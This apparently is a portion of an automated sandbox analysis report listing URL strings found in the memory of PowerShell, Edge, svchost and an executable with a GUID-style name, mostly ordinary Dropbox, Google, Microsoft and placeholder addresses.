Source: powershell.exe, 00000003.00000002.1567473604.000001FB1D42E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D4AB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D416000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D445000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D49E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917DC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.0000024491AD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917D2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://app.hellofax.com/
Source: powershell.exe, 00000003.00000002.1567473604.000001FB1D42E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D4AB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D416000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D445000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D49E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917DC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.0000024491AD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917D2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://app.hellosign.com/
Source: msedge.exe, 00000006.00000002.1489500673.000001F318EA6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://arc.msn.com
Source: msedge.exe, 00000019.00000002.1594415775.000001AB1EE8E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://arc.msn.com0y
Source: powershell.exe, 00000003.00000002.1567473604.000001FB1D42E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D4AB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D416000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D445000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D49E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917DC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.0000024491AD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917D2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://canny.io/sdk.js
Source: powershell.exe, 00000016.00000002.1711359093.00000244917D2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cfl.dropboxstatic.com/static/
Source: msedge.exe, 00000006.00000002.1512705040.0000144800194000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000002.1596271623.000030F000020000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore
Source: msedge.exe, 00000006.00000002.1512705040.0000144800194000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstorekgejglhpjiefppelpmljglcjbhoiplfn
Source: msedge.exe, 00000006.00000002.1512705040.0000144800194000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000002.1596271623.000030F000020000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromewebstore.google.com/
Source: msedge.exe, 00000006.00000002.1510080293.000014480000C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000002.1596302623.000030F000040000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients2.google.com/service/update2/crx
Source: powershell.exe, 00000003.00000002.1599898292.000001FB2D0F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000003.00000002.1599898292.000001FB2D0F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000003.00000002.1599898292.000001FB2D0F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe, 0000001C.00000002.1896380216.0000000004420000.00000004.00001000.00020000.00000000.sdmp, ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe, 0000001C.00000000.1674049177.00000000004CA000.00000002.00000001.01000000.00000010.sdmp, ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe, 0000001D.00000000.1840791583.00000000004CA000.00000002.00000001.01000000.00000010.sdmp	String found in binary or memory: https://d.symcb.com/cps0%
Source: ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe, 0000001C.00000002.1896380216.0000000004420000.00000004.00001000.00020000.00000000.sdmp, ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe, 0000001C.00000000.1674049177.00000000004CA000.00000002.00000001.01000000.00000010.sdmp, ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe, 0000001D.00000000.1840791583.00000000004CA000.00000002.00000001.01000000.00000010.sdmp	String found in binary or memory: https://d.symcb.com/rpa0
Source: powershell.exe, 00000003.00000002.1567473604.000001FB1D42E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D4AB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D416000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D445000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D49E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917DC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.0000024491AD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917D2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://dl-web.dropbox.com/
Source: powershell.exe, 00000003.00000002.1567473604.000001FB1D42E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D4AB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D416000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D49E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917DC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.0000024491AD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917D2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/fsip/
Source: powershell.exe, 00000003.00000002.1567473604.000001FB1D42E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D4AB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D416000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D445000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D49E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917DC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.0000024491AD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917D2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/fsip/
Source: powershell.exe, 00000003.00000002.1567473604.000001FB1D42E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D4AB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D416000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D445000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D49E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917DC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.0000024491AD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917D2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/fsip/
Source: powershell.exe, 00000003.00000002.1567473604.000001FB1D42E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D4AB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D416000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D445000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D49E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917DC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.0000024491AD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917D2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.sandbox.google.com/document/fsip/
Source: powershell.exe, 00000003.00000002.1567473604.000001FB1D42E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D4AB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D416000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D445000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D49E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917DC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.0000024491AD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917D2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.sandbox.google.com/presentation/fsip/
Source: powershell.exe, 00000003.00000002.1567473604.000001FB1D42E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D4AB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D416000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D445000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D49E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917DC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.0000024491AD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917D2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.sandbox.google.com/spreadsheets/fsip/
Source: powershell.exe, 00000003.00000002.1567473604.000001FB1D42E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D4AB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D416000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D445000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D49E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917DC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.0000024491AD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917D2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docsend.com/
Source: powershell.exe, 00000016.00000002.1711359093.000002449197C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://dropbox.com/
Source: powershell.exe, 00000003.00000002.1567473604.000001FB1D42E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D4AB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D416000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D445000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D49E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917DC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.0000024491AD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917D2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://experience.dropbox.com/
Source: svchost.exe, 00000007.00000003.1443045936.0000022411169000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 00000007.00000003.1443045936.0000022411110000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:
Source: powershell.exe, 00000003.00000002.1567473604.000001FB1D2A7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000003.00000002.1567473604.000001FB1DDA7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1E1D4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.0000024490EFB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: msedge.exe, 00000019.00000002.1597363327.000030F000314000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google.com/
Source: powershell.exe, 00000003.00000002.1567473604.000001FB1D42E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D4AB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D416000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D445000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D49E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917DC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.0000024491AD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917D2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://help.dropbox.com/
Source: powershell.exe, 00000003.00000002.1567473604.000001FB1D42E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D4AB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D416000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D445000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D49E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917DC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.0000024491AD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917D2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://instructorledlearning.dropboxbusiness.com/
Source: powershell.exe, 00000003.00000002.1567473604.000001FB1D42E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D4AB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D416000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D445000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D49E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917DC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.0000024491AD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917D2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.yahoo.com/
Source: msedge.exe, 00000019.00000002.1597363327.000030F000314000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://msn.cn/
Source: msedge.exe, 00000006.00000002.1527244445.00001448003AC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000002.1597363327.000030F000314000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://msn.com/
Source: msedge.exe, 00000019.00000002.1597363327.000030F000314000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://msn.com/Y
Source: powershell.exe, 00000003.00000002.1567473604.000001FB1D42E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D4AB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D416000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D445000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D49E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917DC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.0000024491AD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917D2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://navi.dropbox.jp/
Source: powershell.exe, 00000003.00000002.1599898292.000001FB2D0F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: msedge.exe, 00000019.00000002.1597363327.000030F000314000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://office.net/
Source: powershell.exe, 00000003.00000002.1567473604.000001FB1D42E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D4AB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D416000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D445000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D49E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917DC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.0000024491AD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917D2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://officeapps-df.live.com
Source: powershell.exe, 00000003.00000002.1567473604.000001FB1D42E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D4AB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D416000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D445000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D49E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917DC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.0000024491AD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917D2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://officeapps.live.com
Source: powershell.exe, 00000003.00000002.1567473604.000001FB1D42E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D4AB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D416000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D445000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D49E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917DC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.0000024491AD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917D2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://onedrive.live.com/picker
Source: powershell.exe, 00000003.00000002.1567473604.000001FB1D42E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D4AB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D416000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D445000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D49E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917DC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.0000024491AD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917D2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://pal-test.adyen.com
Source: powershell.exe, 00000003.00000002.1567473604.000001FB1D42E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D4AB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D416000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D445000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D49E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917DC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.0000024491AD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917D2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://paper.dropbox.com/
Source: powershell.exe, 00000003.00000002.1567473604.000001FB1D42E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D4AB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D416000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D445000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D49E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917DC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.0000024491AD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917D2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://paper.dropbox.com/cloud-docs/edit
Source: msedge.exe, 00000006.00000003.1446583391.0000144800288000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000003.1580217517.000030F00028C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000003.1582228967.000030F000290000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/AddSession
Source: msedge.exe, 00000006.00000003.1446583391.0000144800288000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000003.1580217517.000030F00028C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000003.1582228967.000030F000290000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/Logout
Source: msedge.exe, 00000019.00000003.1580217517.000030F00028C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000003.1582228967.000030F000290000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/LogoutYxAB
Source: msedge.exe, 00000006.00000003.1446583391.0000144800288000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/LogoutYxABzenH
Source: msedge.exe, 00000006.00000003.1446583391.0000144800288000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000003.1580217517.000030F00028C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000003.1582228967.000030F000290000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/MergeSession
Source: msedge.exe, 00000006.00000003.1446583391.0000144800288000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000003.1580217517.000030F00028C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000003.1582228967.000030F000290000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/OAuthLogin
Source: msedge.exe, 00000006.00000003.1446583391.0000144800288000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000003.1580217517.000030F00028C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000003.1582228967.000030F000290000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/RotateBoundCookies
Source: msedge.exe, 00000006.00000003.1446583391.0000144800288000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000003.1580217517.000030F00028C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000003.1582228967.000030F000290000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/chrome/blank.html
Source: msedge.exe, 00000006.00000003.1446583391.0000144800288000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000003.1580217517.000030F00028C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000003.1582228967.000030F000290000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/o/oauth2/revoke
Source: msedge.exe, 00000006.00000003.1446583391.0000144800288000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000003.1580217517.000030F00028C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000003.1582228967.000030F000290000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/oauth/multilogin
